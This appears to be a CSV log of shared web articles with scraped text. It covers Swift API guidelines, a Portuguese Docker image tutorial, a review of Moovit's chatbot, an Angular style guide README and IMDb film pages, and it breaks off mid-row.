1461864561,CONTENT SHARED,-2990485643677949494,-3390049372067052505,-7303988376323787105,,,,HTML,https://hbr.org/2016/04/the-secret-history-of-agile-innovation,The Secret History of Agile Innovation,"Create a FREE account to: Get eight free articles per month* Access to personalized content Save articles and create shareable folders in your personal HBR library Get 20% off your first order using code HBRORGREG3** *not including articles that are exclusively for Harvard Business Review magazine subscribers **does not include magazine subscriptions UNLIMITED ACCESS TO HBR.ORG A one-year subscription Unlimited access to magazine archive of over 25 years of past issues, including our 50 bestselling articles (available to subscribers only) iPad and Android tablet apps including all of your magazine issues plus content feeds from HBR.org Create your personal library on HBR.org Organize articles of interest, share your favorites with colleagues Access to HBR's Visual Library which includes charts, infographics, and our most popular, fully customizable slide decks Free bonus guide of 15 must-read articles",en
1461864719,CONTENT REMOVED,-2990485643677949494,-3390049372067052505,-7303988376323787105,,,,HTML,https://hbr.org/2016/04/the-secret-history-of-agile-innovation,The Secret History of Agile Innovation,"Create a FREE account to: Get eight free articles per month* Access to personalized content Save articles and create shareable folders in your personal HBR library Get 20% off your first order using code HBRORGREG3** *not including articles that are exclusively for Harvard Business Review magazine subscribers **does not include magazine subscriptions UNLIMITED ACCESS TO HBR.ORG A one-year subscription Unlimited access to magazine archive of over 25 years of past issues, including our 50 bestselling articles (available to subscribers only) iPad and Android tablet apps including all of your magazine issues plus content feeds from HBR.org Create your personal library on HBR.org Organize articles of interest, share your favorites with colleagues Access to HBR's Visual Library which includes charts, infographics, and our most popular, fully customizable slide decks Free bonus guide of 15 must-read articles",en
1461864769,CONTENT REMOVED,-2990485643677949494,-3390049372067052505,-7303988376323787105,,,,HTML,https://hbr.org/2016/04/the-secret-history-of-agile-innovation,The Secret History of Agile Innovation,"Create a FREE account to: Get eight free articles per month* Access to personalized content Save articles and create shareable folders in your personal HBR library Get 20% off your first order using code HBRORGREG3** *not including articles that are exclusively for Harvard Business Review magazine subscribers **does not include magazine subscriptions UNLIMITED ACCESS TO HBR.ORG A one-year subscription Unlimited access to magazine archive of over 25 years of past issues, including our 50 bestselling articles (available to subscribers only) iPad and Android tablet apps including all of your magazine issues plus content feeds from HBR.org Create your personal library on HBR.org Organize articles of interest, share your favorites with colleagues Access to HBR's Visual Library which includes charts, infographics, and our most popular, fully customizable slide decks Free bonus guide of 15 must-read articles",en
1461867611,CONTENT SHARED,-1312850681127865433,-709287718034731589,1345307161983387542,,,,HTML,https://swift.org/documentation/api-design-guidelines/,Swift.org,"Table of Contents Fundamentals Clarity at the point of use is your most important goal. Entities such as methods and properties are declared only once but used repeatedly. Design APIs to make those uses clear and concise. When evaluating a design, reading a declaration is seldom sufficient; always examine a use case to make sure it looks clear in context. Clarity is more important than brevity. Although Swift code can be compact, it is a non-goal to enable the smallest possible code with the fewest characters. Brevity in Swift code, where it occurs, is a side-effect of the strong type system and features that naturally reduce boilerplate. If you are having trouble describing your API's functionality in simple terms, you may have designed the wrong API. Begin with a summary that describes the entity being declared. Often, an API can be completely understood from its declaration and its summary. Focus on the summary ; it's the most important part. Many excellent documentation comments consist of nothing more than a great summary. Use a single sentence fragment if possible, ending with a period. Do not use a complete sentence. Describe what a function or method does and what it returns , omitting null effects and Void returns: Note: in rare cases like popFirst above, the summary is formed of multiple sentence fragments separated by semicolons. Describe what a subscript accesses : Describe what an initializer creates : For all other declarations, describe what the declared entity is . Optionally, continue with one or more paragraphs and bullet items. Paragraphs are separated by blank lines and use complete sentences. /// Writes the textual representation of each <span class=""graphic"">←</span><span class=""commentary""> Summary</span> /// element of `items` to the standard output. /// <span class=""graphic"">←</span><span class=""commentary""> Blank line</span> /// The textual representation for each item `x` <span class=""graphic"">←</span><span class=""commentary""> Additional discussion</span> /// is generated by the expression `String(x)`. /// /// - **Parameter separator**: text to be printed <span class=""graphic"">⎫</span> /// between items. <span class=""graphic"">⎟</span> /// - **Parameter terminator**: text to be printed <span class=""graphic"">⎬</span><span class=""commentary""> <a href="" section</a></span> /// at the end. <span class=""graphic"">⎟</span> /// <span class=""graphic"">⎭</span> /// - **Note**: To print without a trailing <span class=""graphic"">⎫</span> /// newline, pass `terminator: """"` <span class=""graphic"">⎟</span> /// <span class=""graphic"">⎬</span><span class=""commentary""> <a href="" commands</a></span> /// - **SeeAlso**: `CustomDebugStringConvertible`, <span class=""graphic"">⎟</span> /// `CustomStringConvertible`, `debugPrint`. <span class=""graphic"">⎭</span> public func print < Target : OutputStreamType > ( items : Any ... , separator : String = "" "" , terminator : String = "" \n "" ) Use recognized symbol documentation markup elements to add information beyond the summary, whenever appropriate. Know and use recognized bullet items with symbol command syntax . Popular development tools such as Xcode give special treatment to bullet items that start with the following keywords: Naming Include all the words needed to avoid ambiguity for a person reading code where the name is used. Omit needless words. Every word in a name should convey salient information at the use site. More words may be needed to clarify intent or disambiguate meaning, but those that are redundant with information the reader already possesses should be omitted. In particular, omit words that merely repeat type information. In this case, the word Element adds nothing salient at the call site. This API would be better: Occasionally, repeating type information is necessary to avoid ambiguity, but in general it is better to use a word that describes a parameter's role rather than its type. See the next item for details. Name variables, parameters, and associated types according to their roles, rather than their type constraints. Repurposing a type name in this way fails to optimize clarity and expressivity. Instead, strive to choose a name that expresses the entity's role . If an associated type is so tightly bound to its protocol constraint that the protocol name is the role, avoid collision by appending Type to the associated type name: Compensate for weak type information to clarify a parameter's role. Especially when a parameter type is NSObject , Any , AnyObject , or a fundamental type such Int or String , type information and context at the point of use may not fully convey intent. In this example, the declaration may be clear, but the use site is vague. To restore clarity, precede each weakly typed parameter with a noun describing its role : Strive for Fluent Usage Prefer method and function names that make use sites form grammatical English phrases. It is acceptable for fluency to degrade after the first argument or two when those arguments are not central to the call's meaning: Begin names of factory methods with "" make "", e.g. x.makeIterator() . Initializer and factory method calls should form a phrase that does not include the first argument, e.g. x.makeWidget(cogCount: 47) For example, the phrases implied by these calls do not include the first argument: In the following, the API author has tried to create grammatical continuity with the first argument. In practice, this guideline along with those for argument labels means the first argument will have a label unless the call is performing a full-width type conversion . Name functions and methods according to their side-effects Uses of Boolean methods and properties should read as assertions about the receiver when the use is nonmutating, e.g. x.isEmpty , line1.intersects(line2) . Protocols that describe what something is should read as nouns (e.g. Collection ). Protocols that describe a capability should be named using the suffixes able , ible , or ing (e.g. Equatable , ProgressReporting ). The names of other types, properties, variables, and constants should read as nouns. Use Terminology Well Term of Art noun - a word or phrase that has a precise, specialized meaning within a particular field or profession. Avoid obscure terms if a more common word conveys meaning just as well. Don't say ""epidermis"" if ""skin"" will serve your purpose. Terms of art are an essential communication tool, but should only be used to capture crucial meaning that would otherwise be lost. Stick to the established meaning if you do use a term of art. The only reason to use a technical term rather than a more common word is that it precisely expresses something that would otherwise be ambiguous or unclear. Therefore, an API should use the term strictly in accordance with its accepted meaning. Don't surprise an expert : anyone already familiar with the term will be surprised and probably angered if we appear to have invented a new meaning for it. Don't confuse a beginner : anyone trying to learn the term is likely to do a web search and find its traditional meaning. Avoid abbreviations. Abbreviations, especially non-standard ones, are effectively terms-of-art, because understanding depends on correctly translating them into their non-abbreviated forms. The intended meaning for any abbreviation you use should be easily found by a web search. Embrace precedent. Don't optimize terms for the total beginner at the expense of conformance to existing culture. It is better to name a contiguous data structure Array than to use a simplified term such as List , even though a beginner might grasp of the meaning of List more easily. Arrays are fundamental in modern computing, so every programmer knows-or will soon learn-what an array is. Use a term that most programmers are familiar with, and their web searches and questions will be rewarded. Within a particular programming domain , such as mathematics, a widely precedented term such as sin(x) is preferable to an explanatory phrase such as verticalPositionOnUnitCircleAtOriginOfEndOfRadiusWithAngle(x) . Note that in this case, precedent outweighs the guideline to avoid abbreviations: although the complete word is sine , ""sin( x )"" has been in common use among programmers for decades, and among mathematicians for centuries. Conventions General Conventions Document the complexity of any computed property that is not O(1). People often assume that property access involves no significant computation, because they have stored properties as a mental model. Be sure to alert them when that assumption may be violated. Prefer methods and properties to free functions. Free functions are used only in special cases: When there's no obvious self : When the function is an unconstrained generic: When function syntax is part of the established domain notation: Follow case conventions. Names of types and protocols are UpperCamelCase . Everything else is lowerCamelCase . Acronyms and initialisms that commonly appear as all upper case in American English should be uniformly up- or down-cased according to case conventions: Other acronyms should be treated as ordinary words: Methods can share a base name when they share the same basic meaning or when they operate in distinct domains. For example, the following is encouraged, since the methods do essentially the same things: And since geometric types and collections are separate domains, this is also fine in the same program: However, these index methods have different semantics, and should have been named differently: Lastly, avoid ""overloading on return type"" because it causes ambiguities in the presence of type inference. Parameters Choose parameter names to serve documentation . Even though parameter names do not appear at a function or method's point of use, they play an important explanatory role. Take advantage of defaulted parameters when it simplifies common uses. Any parameter with a single commonly-used value is a candidate for a default. Default arguments improve readability by hiding irrelevant information. For example: can become the much simpler: Default arguments are generally preferable to the use of method families, because they impose a lower cognitive burden on anyone trying to understand the API. The above may not be simple, but it is much simpler than: Every member of a method family needs to be separately documented and understood by users. To decide among them, a user needs to understand all of them, and occasional surprising relationships-for example, foo(bar: nil) and foo() aren't always synonyms-make this a tedious process of ferreting out minor differences in mostly identical documentation. Using a single method with defaults provides a vastly superior programmer experience. Prefer to locate parameters with defaults toward the end of the parameter list. Parameters without defaults are usually more essential to the semantics of a method, and provide a stable initial pattern of use where methods are invoked. Argument Labels Omit all labels when arguments can't be usefully distinguished , e.g. min(number1, number2) , zip(sequence1, sequence2) . In initializers that perform full-width type conversions, omit the first argument label , e.g. Int64(someUInt32) The first argument should always be the source of the conversion. extension String { // Convert `x` into its textual representation in the given radix init(**_** x: BigInt, radix: Int = 10) <span class=""commentary"">← Note the initial underscore</span> } text = ""The value is: "" text += **String(veryLargeNumber)** text += "" and in hexadecimal, it's"" text += **String(veryLargeNumber, radix: 16)** In ""narrowing"" type conversions, though, a label that describes the narrowing is recommended. When the first argument forms part of a prepositional phrase , give it an argument label . The argument label should normally begin at the preposition , e.g. x.removeBoxes(havingLength: 12) . Otherwise, if the first argument forms part of a grammatical phrase, omit its label , appending any preceding words to the base name, e.g. x.addSubview(y) This guideline implies that if the first argument doesn't form part of a grammatical phrase, it should have a label. Note that it's important that the phrase convey the correct meaning. The following would be grammatical but would express the wrong thing. Note also that arguments with default values can be omitted, and in that case do not form part of a grammatical phrase, so they should always have labels. Label all other arguments . Special Instructions Label closure parameters and tuple members where they appear in your API. Take extra care with unconstrained polymorphism (e.g. Any , AnyObject , and unconstrained generic parameters) to avoid ambiguities in overload sets. For example, consider this overload set: These methods form a semantic family, and the argument types appear at first to be sharply distinct. However, when Element is Any , a single element can have the same type as a sequence of elements. To eliminate the ambiguity, name the second overload more explicitly. Notice how the new name better matches the documentation comment. In this case, the act of writing the documentation comment actually brought the issue to the API author's attention.",en
1461867691,CONTENT REMOVED,-1312850681127865433,-709287718034731589,1345307161983387542,,,,HTML,https://swift.org/documentation/api-design-guidelines/,Swift API Design Guidelines,"Table of Contents Fundamentals Clarity at the point of use is your most important goal. Entities such as methods and properties are declared only once but used repeatedly. Design APIs to make those uses clear and concise. When evaluating a design, reading a declaration is seldom sufficient; always examine a use case to make sure it looks clear in context. Clarity is more important than brevity. Although Swift code can be compact, it is a non-goal to enable the smallest possible code with the fewest characters. Brevity in Swift code, where it occurs, is a side-effect of the strong type system and features that naturally reduce boilerplate. If you are having trouble describing your API's functionality in simple terms, you may have designed the wrong API. Begin with a summary that describes the entity being declared. Often, an API can be completely understood from its declaration and its summary. Focus on the summary ; it's the most important part. Many excellent documentation comments consist of nothing more than a great summary. Use a single sentence fragment if possible, ending with a period. Do not use a complete sentence. Describe what a function or method does and what it returns , omitting null effects and Void returns: Note: in rare cases like popFirst above, the summary is formed of multiple sentence fragments separated by semicolons. Describe what a subscript accesses : Describe what an initializer creates : For all other declarations, describe what the declared entity is . Optionally, continue with one or more paragraphs and bullet items. Paragraphs are separated by blank lines and use complete sentences. /// Writes the textual representation of each <span class=""graphic"">←</span><span class=""commentary""> Summary</span> /// element of `items` to the standard output. /// <span class=""graphic"">←</span><span class=""commentary""> Blank line</span> /// The textual representation for each item `x` <span class=""graphic"">←</span><span class=""commentary""> Additional discussion</span> /// is generated by the expression `String(x)`. /// /// - **Parameter separator**: text to be printed <span class=""graphic"">⎫</span> /// between items. <span class=""graphic"">⎟</span> /// - **Parameter terminator**: text to be printed <span class=""graphic"">⎬</span><span class=""commentary""> <a href="" section</a></span> /// at the end. <span class=""graphic"">⎟</span> /// <span class=""graphic"">⎭</span> /// - **Note**: To print without a trailing <span class=""graphic"">⎫</span> /// newline, pass `terminator: """"` <span class=""graphic"">⎟</span> /// <span class=""graphic"">⎬</span><span class=""commentary""> <a href="" commands</a></span> /// - **SeeAlso**: `CustomDebugStringConvertible`, <span class=""graphic"">⎟</span> /// `CustomStringConvertible`, `debugPrint`. <span class=""graphic"">⎭</span> public func print < Target : OutputStreamType > ( items : Any ... , separator : String = "" "" , terminator : String = "" \n "" ) Use recognized symbol documentation markup elements to add information beyond the summary, whenever appropriate. Know and use recognized bullet items with symbol command syntax . Popular development tools such as Xcode give special treatment to bullet items that start with the following keywords: Naming Include all the words needed to avoid ambiguity for a person reading code where the name is used. Omit needless words. Every word in a name should convey salient information at the use site. More words may be needed to clarify intent or disambiguate meaning, but those that are redundant with information the reader already possesses should be omitted. In particular, omit words that merely repeat type information. In this case, the word Element adds nothing salient at the call site. This API would be better: Occasionally, repeating type information is necessary to avoid ambiguity, but in general it is better to use a word that describes a parameter's role rather than its type. See the next item for details. Name variables, parameters, and associated types according to their roles, rather than their type constraints. Repurposing a type name in this way fails to optimize clarity and expressivity. Instead, strive to choose a name that expresses the entity's role . If an associated type is so tightly bound to its protocol constraint that the protocol name is the role, avoid collision by appending Type to the associated type name: Compensate for weak type information to clarify a parameter's role. Especially when a parameter type is NSObject , Any , AnyObject , or a fundamental type such Int or String , type information and context at the point of use may not fully convey intent. In this example, the declaration may be clear, but the use site is vague. To restore clarity, precede each weakly typed parameter with a noun describing its role : Strive for Fluent Usage Prefer method and function names that make use sites form grammatical English phrases. It is acceptable for fluency to degrade after the first argument or two when those arguments are not central to the call's meaning: Begin names of factory methods with "" make "", e.g. x.makeIterator() . Initializer and factory method calls should form a phrase that does not include the first argument, e.g. x.makeWidget(cogCount: 47) For example, the phrases implied by these calls do not include the first argument: In the following, the API author has tried to create grammatical continuity with the first argument. In practice, this guideline along with those for argument labels means the first argument will have a label unless the call is performing a full-width type conversion . Name functions and methods according to their side-effects Uses of Boolean methods and properties should read as assertions about the receiver when the use is nonmutating, e.g. x.isEmpty , line1.intersects(line2) . Protocols that describe what something is should read as nouns (e.g. Collection ). Protocols that describe a capability should be named using the suffixes able , ible , or ing (e.g. Equatable , ProgressReporting ). The names of other types, properties, variables, and constants should read as nouns. Use Terminology Well Term of Art noun - a word or phrase that has a precise, specialized meaning within a particular field or profession. Avoid obscure terms if a more common word conveys meaning just as well. Don't say ""epidermis"" if ""skin"" will serve your purpose. Terms of art are an essential communication tool, but should only be used to capture crucial meaning that would otherwise be lost. Stick to the established meaning if you do use a term of art. The only reason to use a technical term rather than a more common word is that it precisely expresses something that would otherwise be ambiguous or unclear. Therefore, an API should use the term strictly in accordance with its accepted meaning. Don't surprise an expert : anyone already familiar with the term will be surprised and probably angered if we appear to have invented a new meaning for it. Don't confuse a beginner : anyone trying to learn the term is likely to do a web search and find its traditional meaning. Avoid abbreviations. Abbreviations, especially non-standard ones, are effectively terms-of-art, because understanding depends on correctly translating them into their non-abbreviated forms. The intended meaning for any abbreviation you use should be easily found by a web search. Embrace precedent. Don't optimize terms for the total beginner at the expense of conformance to existing culture. It is better to name a contiguous data structure Array than to use a simplified term such as List , even though a beginner might grasp of the meaning of List more easily. Arrays are fundamental in modern computing, so every programmer knows-or will soon learn-what an array is. Use a term that most programmers are familiar with, and their web searches and questions will be rewarded. Within a particular programming domain , such as mathematics, a widely precedented term such as sin(x) is preferable to an explanatory phrase such as verticalPositionOnUnitCircleAtOriginOfEndOfRadiusWithAngle(x) . Note that in this case, precedent outweighs the guideline to avoid abbreviations: although the complete word is sine , ""sin( x )"" has been in common use among programmers for decades, and among mathematicians for centuries. Conventions General Conventions Document the complexity of any computed property that is not O(1). People often assume that property access involves no significant computation, because they have stored properties as a mental model. Be sure to alert them when that assumption may be violated. Prefer methods and properties to free functions. Free functions are used only in special cases: When there's no obvious self : When the function is an unconstrained generic: When function syntax is part of the established domain notation: Follow case conventions. Names of types and protocols are UpperCamelCase . Everything else is lowerCamelCase . Acronyms and initialisms that commonly appear as all upper case in American English should be uniformly up- or down-cased according to case conventions: Other acronyms should be treated as ordinary words: Methods can share a base name when they share the same basic meaning or when they operate in distinct domains. For example, the following is encouraged, since the methods do essentially the same things: And since geometric types and collections are separate domains, this is also fine in the same program: However, these index methods have different semantics, and should have been named differently: Lastly, avoid ""overloading on return type"" because it causes ambiguities in the presence of type inference. Parameters Choose parameter names to serve documentation . Even though parameter names do not appear at a function or method's point of use, they play an important explanatory role. Take advantage of defaulted parameters when it simplifies common uses. Any parameter with a single commonly-used value is a candidate for a default. Default arguments improve readability by hiding irrelevant information. For example: can become the much simpler: Default arguments are generally preferable to the use of method families, because they impose a lower cognitive burden on anyone trying to understand the API. The above may not be simple, but it is much simpler than: Every member of a method family needs to be separately documented and understood by users. To decide among them, a user needs to understand all of them, and occasional surprising relationships-for example, foo(bar: nil) and foo() aren't always synonyms-make this a tedious process of ferreting out minor differences in mostly identical documentation. Using a single method with defaults provides a vastly superior programmer experience. Prefer to locate parameters with defaults toward the end of the parameter list. Parameters without defaults are usually more essential to the semantics of a method, and provide a stable initial pattern of use where methods are invoked. Argument Labels Omit all labels when arguments can't be usefully distinguished , e.g. min(number1, number2) , zip(sequence1, sequence2) . In initializers that perform full-width type conversions, omit the first argument label , e.g. Int64(someUInt32) The first argument should always be the source of the conversion. extension String { // Convert `x` into its textual representation in the given radix init(**_** x: BigInt, radix: Int = 10) <span class=""commentary"">← Note the initial underscore</span> } text = ""The value is: "" text += **String(veryLargeNumber)** text += "" and in hexadecimal, it's"" text += **String(veryLargeNumber, radix: 16)** In ""narrowing"" type conversions, though, a label that describes the narrowing is recommended. When the first argument forms part of a prepositional phrase , give it an argument label . The argument label should normally begin at the preposition , e.g. x.removeBoxes(havingLength: 12) . Otherwise, if the first argument forms part of a grammatical phrase, omit its label , appending any preceding words to the base name, e.g. x.addSubview(y) This guideline implies that if the first argument doesn't form part of a grammatical phrase, it should have a label. Note that it's important that the phrase convey the correct meaning. The following would be grammatical but would express the wrong thing. Note also that arguments with default values can be omitted, and in that case do not form part of a grammatical phrase, so they should always have labels. Label all other arguments . Special Instructions Label closure parameters and tuple members where they appear in your API. Take extra care with unconstrained polymorphism (e.g. Any , AnyObject , and unconstrained generic parameters) to avoid ambiguities in overload sets. For example, consider this overload set: These methods form a semantic family, and the argument types appear at first to be sharply distinct. However, when Element is Any , a single element can have the same type as a sequence of elements. To eliminate the ambiguity, name the second overload more explicitly. Notice how the new name better matches the documentation comment. In this case, the act of writing the documentation comment actually brought the issue to the API author's attention.",en
1461867760,CONTENT SHARED,-3338916066794638254,3609194402293569455,4312885763327590308,,,,HTML,http://tableless.com.br/iniciando-com-o-docker-criando-suas-proprias-imagens/,Iniciando com o Docker: Criando suas próprias imagens - Tableless,"por André Kiffer No artigo anterior , eu descrevi alguns comandos básicos e como iniciar com o pé direito no mundo do Docker , trazendo de forma direta alguns conceitos que com o passar do tempo se tornaram fundamentais no meu fluxo de desenvolvimento. Hoje eu quero partir um pouco mais para o lado prático da coisa, vamos construir uma imagem para encapsular uma pequena aplicação em GO . Primeiros passos O arquivo de manifesto do Docker é o Dockerfile, nele você coloca as instruções de como você quer que sua imagem seja construída. Você pode na construção da imagem setar outro arquivo com o parâmetro -f. Abaixo temos um exemplo de Dockerfile, esse é um exemplo de um app em go já compilado para ubuntu então eu só preciso copiar o arquivo executável elasticpush para dentro do docker: FROM debian:jessie RUN mkdir /app ENV ACCESS_TOKEN abc ENV SECRET_TOKEN xyz COPY ./bin/elasticpush /app/elasticpush ENTRYPOINT [""/app/elasticpush""] Detalhando os comandos utilizados: FROM : Este é o comando mais importante, pois ele especifica a imagem base para a construção de uma nova. Na maioria das vezes a imagem especificada vai ser uma distribuição linux, se essa imagem não for encontrada na máquina local, o docker tentará buscar em algum repository. Caso queira, por exemplo, fazer a build do seu app em GO dentro do container, você vai precisar de uma imagem que tenha o GO instalado e configurado. Outra forma também seria criar diversas instruções com o comando RUN para fazer essa instalação. RUN : Esse comando serve para executar outros comandos que a versão do sistema operacional permite. Por exemplo, se for debian vc pode instalar pacotes com apt-get, se for CentOS você pode utilizar o yum para pegar as dependências que seu serviço precisa para rodar. Com o RUN você também pode criar arquivos, pastas, enfim acho que deu pra entender que ele executa os mesmo comando do que você executaria na sua máquina, logo você consegue fazer praticamente tudo, e deixar a sequência de comandos versionada aqui dentro. ENV : Serve para você setar variáveis de ambiente, você pode tanto deixar essas variáveis setadas de forma fixa dentro do Dockerfile quanto passá-las dinamicamente na hora que você instanciar o container. Para passar essas variáveis de ambiente na instanciação do container basta usar o parâmetro -e. Exemplo: docker run -e ACCESS_TOKEN=abcd [nome da imagem] . COPY : O COPY serve para você poder copiar arquivos e pastas para dentro da imagem do Docker, nesse exemplo eu copiei o arquivo elasticpush que estava dentro da pasta bin na minha máquina local para dentro da pasta /app na imagem do docker. ENTRYPOINT : Com esse parâmetro você pode setar se quer que algo seja executado na hora da instanciação do container. Então, quando você der um docker run nessa imagem, ela já vai instanciar e executar o programa que está no caminho que você colocar entre colchetes. No nosso caso queremos que essa imagem execute nossa aplicação do Elasticpush, o mesmo vale para quaisquer outros serviços como Redis, Elasticsearch, Nodejs, etc... Build - Construíndo a imagem A essa altura provavelmente você já tem o Docker instalado na sua máquina, caso contrário ensinamos a fazer isso nesse artigo . Para construir a imagem você precisa executar o seguinte comando, na mesma pasta que está o Dockerfile : sudo docker build -t app/elasticpush . Eu escolhi que o nome da minha imagem fosse app/elasticpush, mas isso fica a seu critério, escolha o nome que melhor se adéque ao seu serviço. Executado o comando, se tudo correr bem terá uma saída semelhante a essa: Sending build context to Docker daemon 45.03 MB Sending build context to Docker daemon Step 0 : FROM debian:jessie - > a582cd499e0f Step 1 : RUN mkdir /app - > Using cache - > 3763257cc26e Step 2 : COPY ./bin/elasticpush /app/elasticpush - > cc4b56f3fd8e Removing intermediate container 0bb2091ca437 Step 3 : ENTRYPOINT /app/elasticpush -> Running in ad99734cd065 - > 3ffec68d5499 Removing intermediate container ad99734cd065 Successfully built 3ffec68d5499 sudo docker images Agora você já tem uma imagem construída. Execute o seguinte comando: sudo docker run -d [nome da imagem] A imagem com a tag que você escolheu vai estar listada. A partir dessa imagem você pode iniciar o container com o seguinte comando: 19895b08f19d7a4436afa1cb8af8f815939000d5468c7db10c4498317fd81cc3 Observe que utilizei o parâmetro -d que serve para jogar em segundo plano a inicialização do container, o que é opcional. Após isso será entregue um token que identifica o container, tipo esse: sudo docker exec -it 19895b08f19d7a4436afa1cb8af8f815939000d5468c7db10c4498317fd81cc3 bash Para navegar dentro do container utilize o seguinte comando: Com isso você estará dentro do container para caso precise fazer alguma coisa específica. Para sair é só digitar exit . Bom pessoal, por enquanto é isso, uma dica que dou é tentar criar imagens mais complexas do que a que eu exemplifiquei, caso tenham alguma dúvida é só deixar um comentário. Até a próxima! Publicado no dia",pt
1461868800,CONTENT SHARED,7540764978459875963,-1443636648652872475,-958024642276979414,,,,HTML,http://thenextweb.com/insider/2016/04/28/moovits-new-transport-chatbot-proves-not-easy-build-useful-robots-yet/,Moovit's new Facebook chatbot for transport proves v0 is not going to be good,"After the announcement that Facebook and others were taking chatbots increasingly seriously, it was only a matter of time before other companies tried to find their place among the chatter. It's super early days, but Moovit's new transport bot is among the first to be directly integrated with Facebook Messenger, using the API to ""support users' trip planning questions and requests and provide suggested routes for journeys on public transport."" Proving just how ahead of its time this chatbot is, many people won't even have access to the barcode scan function yet. Fortunately, you can follow the short link or search 'Moovit' to get going. Only trouble is, the bot's still pretty dumb. No, not that Museum of Natural History! That's in Oxford. No, I don't want directions to London! The Museum of Natural History IN LONDON. We asked Moovit for more detail on what's going on behind the scenes here and were assured that landmarks are a ""work in progress."" Searching for a place name, like London Bridge, brought up three useable results. On an existing app though - I use CityMapper - this would have taken seconds and you can get almost outrageously comprehensive answers. So until your chatbot is as good as that, you'll have difficulty tempting me away, polite or not! Kirsty Styles is a journalist who lives in Hackney. She was previously editor at Tech City News and is now a reporter at The Next Web. She loves tech for good, cleantech, edtech, assistive tech, politech (?), diversity in tech.",en
1461868807,CONTENT SHARED,5514214996211995551,7392990465409599343,-1080395832398483240,,,,HTML,https://github.com/johnpapa/angular-styleguide,johnpapa/angular-styleguide,"There are multiple versions of Angular, and thus there are multiple versions of the guide. Choose your guide appropriately. Angular 1 Style Guide The Angular 1 Style Guide . Angular 2 Style Guide The Angular 2 Style Guide . Special thanks to Igor Minar, lead on the Angular team, for reviewing, contributing feedback, and entrusting me to shepherd this guide. Opinionated Angular style guide for teams by @john_papa If you are looking for an opinionated style guide for syntax, conventions, and structuring Angular applications, then step right in. These styles are based on my development experience with Angular , presentations, Pluralsight training courses and working in teams. The purpose of this style guide is to provide guidance on building Angular applications by showing the conventions I use and, more importantly, why I choose them. If you like this guide, check out my Angular Patterns: Clean Code course at Pluralsight which is a companion to this guide. Never work in a vacuum. I find that the Angular community is an incredible group who are passionate about sharing experiences. Many of my styles have been from the many pair programming sessions Ward Bell and I have had. My most excellent friend Ward has helped influence the ultimate evolution of these guides. Open an issue first to discuss potential changes/additions. If you have questions with the guide, feel free to leave them as issues in the repository. If you find a typo, create a pull request. The idea is to keep the content up to date and use github's native feature to help tell the story with issues and PR's, which are all searchable via google. Why? Because odds are if you have a question, someone else does too! You can learn more here at about how to contribute. By contributing to this repository you are agreeing to make your content available subject to the license of this repository. Process 1. Discuss the changes in a GitHub issue. 2. Open a Pull Request, reference the issue, and explain the change and why it adds value. 3. The Pull Request will be evaluated and either merged or declined. tldr; Use this guide. Attributions are appreciated. Copyright Copyright (c) 2014-2016 John Papa (The MIT License) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the 'Software'), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Back to top",en
1461872162,CONTENT SHARED,-5411404485622449820,6644119361202586331,-6843233739951881888,,,,HTML,http://www.imdb.com/title/tt3825638/,Labyrinth of Lies (2014),"6 wins & 15 nominations. See more awards "" Storyline The year is 1958. The war has been over for thirteen years and the Federal Republic of Germany is not only recovering but even booming. But where are the Nazis? Who has ever heard of the death camps? It looks as if everything is for the best in the best of all possible worlds in this land of milk and honey... At least, until the day journalist Thomas Gnielka recognizes in the person of a teacher the former commander of the Auschwitz concentration camp... At least, until Johann Radmann, a young prosecutor, decides to investigate the case... Nobody knows it yet but this is the dawn of a new era. Even if the road to awareness will be long and rocky... Written by Guy Bellinger Taglines: In Germany, 15 years after World War II, one young man forces an entire country to face its past. Details Release Date: 6 November 2014 (Germany) Also Known As: La conspiración del silencio Box Office Opening Weekend: $22,101 (USA) (2 October 2015) Gross: $794,123 (USA) (26 February 2016) Company Credits Technical Specs See full technical specs "" Did You Know? Trivia Chosen as Germany's submission to the category of Best Foreign Language Film at the 88th Academy Awards in 2016. See more "" Quotes Major Parker : You were all Nazis. In the Eastern sector, now you are all communists. Jesus, you Germans! If little green men from Mars landed tomorrow, you would all become green. See more "" Soundtracks Siebenmal in der Woche Music by Erwin Halletz Performed by Vico Torriani See more "" User Reviews Message Boards Recent Posts",en
1461872220,CONTENT SHARED,-8935051432668167578,6644119361202586331,-6843233739951881888,,,,HTML,http://www.imdb.com/title/tt0118715/,The Big Lebowski (1998),"When ""The Dude"" Lebowski is mistaken for a millionaire Lebowski, two thugs urinate on his rug to coerce him into paying a debt he knows nothing about. While attempting to gain recompense for the ruined rug from his wealthy counterpart, he accepts a one-time job with high pay-off. He enlists the help of his bowling buddy, Walter, a gun-toting Jewish-convert with anger issues. Deception leads to more trouble, and it soon seems that everyone from porn empire tycoons to nihilists want something from The Dude. Written by J. Lake Taglines: They figured he was a lazy time wasting slacker. They were right. Motion Picture Rating ( MPAA ) Rated R for pervasive strong language, drug content, sexuality and brief violence | See all certifications "" Release Date: 6 March 1998 (USA) Budget: $15,000,000 (estimated) Opening Weekend: $5,533,844 (USA) (6 March 1998) Gross: $17,439,163 (USA) (29 May 1998) Color: Color (Technicolor) See full technical specs "" Trivia The film's overall structure was influenced by the detective fiction of Raymond Chandler . Ethan Coen said, ""We wanted something that would generate a certain narrative feeling - like a modern Raymond Chandler story, and that's why it had to be set in Los Angeles ... We wanted to have a narrative flow, a story that moves like a Chandler book through different parts of town and different social classes"". The use of the Stranger's voice-over also came from Chandler as Joel remarked, ""He is a little bit of an audience substitute. In the movie adaptation of Chandler it's the main character that speaks off-screen, but we didn't want to reproduce that though it obviously has echoes. It's as if someone was commenting on the plot from an all-seeing point of view. And at the same time rediscovering the old earthiness of a Mark Twain ."" See more "" Goofs After Walter jumps out of The Dude's car, The Dude scrambles across to the driver's side, 